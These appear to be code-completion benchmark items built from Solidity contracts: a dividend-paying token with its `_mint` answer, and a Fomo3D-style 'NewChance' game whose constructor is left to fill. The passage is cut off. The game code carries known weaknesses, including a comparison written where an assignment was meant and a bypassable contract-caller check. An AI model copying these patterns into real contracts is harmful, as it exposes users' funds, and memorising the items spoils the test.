totalSupply()`. /// With a well-chosen `magnitude`, the amount of undistributed ether /// (de-magnified) in a distribution can be less than 1 wei. /// We can actually keep track of the undistributed ether in a distribution /// and try to distribute it in the next distribution, /// but keeping track of such data on-chain costs much more than /// the saved ether, so we don't do that. function distributeDividendsUsingAmount(uint256 amount) public onlyOwner { require(totalSupply() > 0); if (amount > 0) { magnifiedDividendPerShare = magnifiedDividendPerShare.add((amount).mul(magnitude) / totalSupply()); emit DividendsDistributed(msg.sender, amount); totalDividendsDistributed = totalDividendsDistributed.add(amount); } } function withdrawDividend() public virtual override { _withdrawDividendOfUser(payable(msg.sender)); } function _withdrawDividendOfUser(address payable user) internal returns (uint256) { uint256 _withdrawableDividend = withdrawableDividendOf(user); if (_withdrawableDividend > 0) { withdrawnDividends[user] = withdrawnDividends[user].add(_withdrawableDividend); emit DividendWithdrawn(user, _withdrawableDividend); (bool success) = IERC20(rewardToken).transfer(user, _withdrawableDividend); if(!success) { withdrawnDividends[user] = withdrawnDividends[user].sub(_withdrawableDividend); return 0; } return _withdrawableDividend; } return 0; } function dividendOf(address _owner) public view override returns(uint256) { return withdrawableDividendOf(_owner); } function withdrawableDividendOf(address _owner) public view override returns(uint256) { return accumulativeDividendOf(_owner).sub(withdrawnDividends[_owner]); } function withdrawnDividendOf(address _owner) public view override returns(uint256) { return withdrawnDividends[_owner]; } function accumulativeDividendOf(address _owner) public view override returns(uint256) { return magnifiedDividendPerShare.mul(balanceOf(_owner)).toInt256Safe() .add(magnifiedDividendCorrections[_owner]).toUint256Safe() / magnitude; } function _transfer(address from, address to, uint256 value) internal virtual override { require(false); int256 _magCorrection = magnifiedDividendPerShare.mul(value).toInt256Safe(); magnifiedDividendCorrections[from] = magnifiedDividendCorrections[from].add(_magCorrection); magnifiedDividendCorrections[to] = magnifiedDividendCorrections[to].sub(_magCorrection); } function _mint(address account, uint256 value) internal override {<FILL_FUNCTION_BODY> } function _burn(address account, uint256 value) internal override { super._burn(account, value); magnifiedDividendCorrections[account] = magnifiedDividendCorrections[account] .add( (magnifiedDividendPerShare.mul(value)).toInt256Safe() ); } function _setBalance(address account, uint256 newBalance) internal { uint256 currentBalance = balanceOf(account); if(newBalance > currentBalance) { uint256 mintAmount = newBalance.sub(currentBalance); _mint(account, mintAmount); } else if(newBalance < currentBalance) { uint256 burnAmount = currentBalance.sub(newBalance); _burn(account, burnAmount); } } function _setRewardToken(address token) internal onlyOwner { rewardToken = token; } }
contract DividendPayingToken is ERC20, Ownable, DividendPayingTokenInterface, DividendPayingTokenOptionalInterface { using SafeMath for uint256; using SafeMathUint for uint256; using SafeMathInt for int256; // With `magnitude`, we can properly distribute dividends even if the amount of received ether is small. // For more discussion about choosing the value of `magnitude`, // see https://github.com/ethereum/EIPs/issues/1726#issuecomment-472352728 uint256 constant internal magnitude = 2**128; uint256 internal magnifiedDividendPerShare; uint256 public totalDividendsDistributed; address public rewardToken; // About dividendCorrection: // If the token balance of a `_user` is never changed, the dividend of `_user` can be computed with: // `dividendOf(_user) = dividendPerShare * balanceOf(_user)`. // When `balanceOf(_user)` is changed (via minting/burning/transferring tokens), // `dividendOf(_user)` should not be changed, // but the computed value of `dividendPerShare * balanceOf(_user)` is changed. // To keep the `dividendOf(_user)` unchanged, we add a correction term: // `dividendOf(_user) = dividendPerShare * balanceOf(_user) + dividendCorrectionOf(_user)`, // where `dividendCorrectionOf(_user)` is updated whenever `balanceOf(_user)` is changed: // `dividendCorrectionOf(_user) = dividendPerShare * (old balanceOf(_user)) - (new balanceOf(_user))`. // So now `dividendOf(_user)` returns the same value before and after `balanceOf(_user)` is changed. mapping(address => int256) internal magnifiedDividendCorrections; mapping(address => uint256) internal withdrawnDividends; constructor(string memory _name, string memory _symbol) public ERC20(_name, _symbol) {} /// @notice Distributes ether to token holders as dividends. /// @dev It reverts if the total supply of tokens is 0. /// It emits the `DividendsDistributed` event if the amount of received ether is greater than 0. /// About undistributed ether: /// In each distribution, there is a small amount of ether not distributed, /// the magnified amount of which is /// `(msg.value * magnitude) % totalSupply()`. /// With a well-chosen `magnitude`, the amount of undistributed ether /// (de-magnified) in a distribution can be less than 1 wei. /// We can actually keep track of the undistributed ether in a distribution /// and try to distribute it in the next distribution, /// but keeping track of such data on-chain costs much more than /// the saved ether, so we don't do that. function distributeDividendsUsingAmount(uint256 amount) public onlyOwner { require(totalSupply() > 0); if (amount > 0) { magnifiedDividendPerShare = magnifiedDividendPerShare.add((amount).mul(magnitude) / totalSupply()); emit DividendsDistributed(msg.sender, amount); totalDividendsDistributed = totalDividendsDistributed.add(amount); } } function withdrawDividend() public virtual override { _withdrawDividendOfUser(payable(msg.sender)); } function _withdrawDividendOfUser(address payable user) internal returns (uint256) { uint256 _withdrawableDividend = withdrawableDividendOf(user); if (_withdrawableDividend > 0) { withdrawnDividends[user] = withdrawnDividends[user].add(_withdrawableDividend); emit DividendWithdrawn(user, _withdrawableDividend); (bool success) = IERC20(rewardToken).transfer(user, _withdrawableDividend); if(!success) { withdrawnDividends[user] = withdrawnDividends[user].sub(_withdrawableDividend); return 0; } return _withdrawableDividend; } return 0; } function dividendOf(address _owner) public view override returns(uint256) { return withdrawableDividendOf(_owner); } function withdrawableDividendOf(address _owner) public view override returns(uint256) { return accumulativeDividendOf(_owner).sub(withdrawnDividends[_owner]); } function withdrawnDividendOf(address _owner) public view override returns(uint256) { return withdrawnDividends[_owner]; } function accumulativeDividendOf(address _owner) public view override returns(uint256) { return magnifiedDividendPerShare.mul(balanceOf(_owner)).toInt256Safe() .add(magnifiedDividendCorrections[_owner]).toUint256Safe() / magnitude; } function _transfer(address from, address to, uint256 value) internal virtual override { require(false); int256 _magCorrection = magnifiedDividendPerShare.mul(value).toInt256Safe(); magnifiedDividendCorrections[from] = magnifiedDividendCorrections[from].add(_magCorrection); magnifiedDividendCorrections[to] = magnifiedDividendCorrections[to].sub(_magCorrection); } <FILL_FUNCTION> function _burn(address account, uint256 value) internal override { super._burn(account, value); magnifiedDividendCorrections[account] = magnifiedDividendCorrections[account] .add( (magnifiedDividendPerShare.mul(value)).toInt256Safe() ); } function _setBalance(address account, uint256 newBalance) internal { uint256 currentBalance = balanceOf(account); if(newBalance > currentBalance) { uint256 mintAmount = newBalance.sub(currentBalance); _mint(account, mintAmount); } else if(newBalance < currentBalance) { uint256 burnAmount = currentBalance.sub(newBalance); _burn(account, burnAmount); } } function _setRewardToken(address token) internal onlyOwner { rewardToken = token; } }
super._mint(account, value); magnifiedDividendCorrections[account] = magnifiedDividendCorrections[account] .sub( (magnifiedDividendPerShare.mul(value)).toInt256Safe() );
function _mint(address account, uint256 value) internal override
function _mint(address account, uint256 value) internal override
71804
NewChance
null
contract NewChance is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xdF762c13796758D89C91F7fdac1287b8Eeb294c4); //============================================================================== // _ _ _ |`. _ _ _ |_ | _ _ . // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) //=================_|=========================================================== address private admin1 = 0xFf387ccF09fD2F01b85721e1056B49852ECD27D6; address private admin2 = msg.sender; string constant public name = "New Chance"; string constant public symbol = "NEWCH"; uint256 private rndExtra_ = 30 minutes; // length of the very first ICO uint256 private rndGap_ = 30 minutes; // length of ICO phase, set to 1 year for EOS. uint256 constant private rndInit_ = 30 minutes; // round timer starts at this uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer uint256 constant private rndMax_ = 12 hours; // max length a round timer can be //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes) //=============================|================================================ uint256 public airDropPot_; // person who gets the airdrop wins part of this pot uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop uint256 public rID_; // round id number / total rounds that have happened //**************** // PLAYER DATA //**************** mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) //**************** // ROUND DATA //**************** mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id //**************** // TEAM FEE DATA //**************** mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public {<FILL_FUNCTION_BODY> } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev used to make sure no one can interact with contract until it has * been activated. */ modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev emergency buy uses last stored affiliate ID and team snek */ function() isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } /** * @dev converts all incoming ethereum to keys. * -functionhash- 0x8f38f309 (using ID for affiliate) * -functionhash- 0x98a0871d (using address for affiliate) * -functionhash- 0xa65b37a1 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? */ function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } /** * @dev essentially the same as buy, but instead of you sending ether * from your wallet, it uses your unwithdrawn earnings. * -functionhash- 0x349cdcac (using ID for affiliate) * -functionhash- 0x82bfc739 (using address for affiliate) * -functionhash- 0x079ce327 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? * @param _eth amount of earnings to use (remainder returned to gen vault) */ function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } /** * @dev withdraws all of your earnings. * -functionhash- 0x3ccfd60b */ function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 _eth; // check to see if round has ended and no one has run round end yet if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // end the round (distributes pot) round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire withdraw and distribute event emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // fire withdraw event emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } /** * @dev use these to register names. they are just wrappers that will send the * registration requests to the PlayerBook contract. So registering here is the * same as registering there. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who referred you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= /** * @dev return the price buyer will pay for next 1 individual key. * -functionhash- 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else // rounds over. need price for new round return ( 75000000000000 ); // init } /** * @dev returns time left. dont spam this, you'll ddos yourself from your node * provider * -functionhash- 0xc7e284b8 * @return time left in seconds */ function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } /** * @dev returns player earnings per vaults * -functionhash- 0x63066434 * @return winnings vault * @return general vault * @return affiliate vault */ function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { // setup local rID uint256 _rID = rID_; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // if player is winner if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); // if player is not the winner } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } // if round is still going on, or round has ended and round end has been ran } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } /** * solidity hates stack limits. this lets us avoid that hate */ function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } /** * @dev returns all current round info needed for front end * -functionhash- 0x747dff42 * @return eth invested during ICO phase * @return round id * @return total keys for round * @return time round ends * @return time round started * @return current pot * @return current team ID & player ID in lead * @return current player in leads address * @return current player in leads name * @return whales eth in for round * @return bears eth in for round * @return sneks eth in for round * @return bulls eth in for round * @return airdrop tracker # & airdrop pot */ function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; return ( round_[_rID].ico, //0 _rID, //1 round_[_rID].keys, //2 round_[_rID].end, //3 round_[_rID].strt, //4 round_[_rID].pot, //5 (round_[_rID].team + (round_[_rID].plyr * 10)), //6 plyr_[round_[_rID].plyr].addr, //7 plyr_[round_[_rID].plyr].name, //8 rndTmEth_[_rID][0], //9 rndTmEth_[_rID][1], //10 rndTmEth_[_rID][2], //11 rndTmEth_[_rID][3], //12 airDropTracker_ + (airDropPot_ * 1000) //13 ); } /** * @dev returns player info based on address. if no address is given, it will * use msg.sender * -functionhash- 0xee0b5d8b * @param _addr address of the player you want to lookup * @return player ID * @return player name * @return keys owned (current round) * @return winnings vault * @return general vault * @return affiliate vault * @return player round eth */ function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].keys, //2 plyr_[_pID].win, //3 (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth //6 ); } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine) //=====================_|======================================================= /** * @dev logic runs whenever a buy order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // call core core(_rID, _pID, msg.value, _affID, _team, _eventData_); // if round is not active } else { // check to see if end round needs to be ran if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } /** * @dev logic runs whenever a reload order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // get earnings from all vaults and return unused to gen vault // because we use a custom safemath library. this will throw if player // tried to spend more eth than they have. plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); // call core core(_rID, _pID, _eth, _affID, _team, _eventData_); // if round is not active and end round needs to be ran } else if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } /** * @dev this is the core logic for any buy/reload that happens while a round * is live. */ function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // if player is new to round if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); // early round eth limiter if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } // if eth left is greater than min eth allowed (sorry no pocket lint) if (_eth > 1000000000) { // mint the new keys uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); // set new leaders if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; // set the new leader bool to true _eventData_.compressedData = _eventData_.compressedData + 100; } // manage airdrops if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { // gib muni uint256 _prize; if (_eth >= 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 2 prize was won _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } // set airdrop happened bool to true _eventData_.compressedData += 10000000000000000000000000000000; // let event know how much was won _eventData_.compressedData += _prize * 1000000000000000000000000000000000; // reset air drop tracker airDropTracker_ = 0; } } // store the air drop tracker number (number of buys since last airdrop) _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); // distribute eth _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); // call end tx function to fire end tx event. endTx(_pID, _team, _eth, _keys, _eventData_); } } //============================================================================== // _ _ | _ | _ _|_ _ _ _ . // (_(_||(_|_||(_| | (_)| _\ . //============================================================================== /** * @dev calculates unmasked earnings (just calculates, does not update mask) * @return earnings in wei format */ function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } /** * @dev returns the amount of keys you would get given an amount of eth. * -functionhash- 0xce89c80c * @param _rID round ID you want price for * @param _eth amount of eth sent in * @return keys received */ function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else // rounds over. need keys for new round return ( (_eth).keys() ); } /** * @dev returns current eth price for X keys. * -functionhash- 0xcf808000 * @param _keys number of keys desired (in 18 decimal format) * @return amount of eth needed to send */ function iWantXKeys(uint256 _keys) public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else // rounds over. need price for new round return ( (_keys).eth() ); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== /** * @dev receives name/player info from names 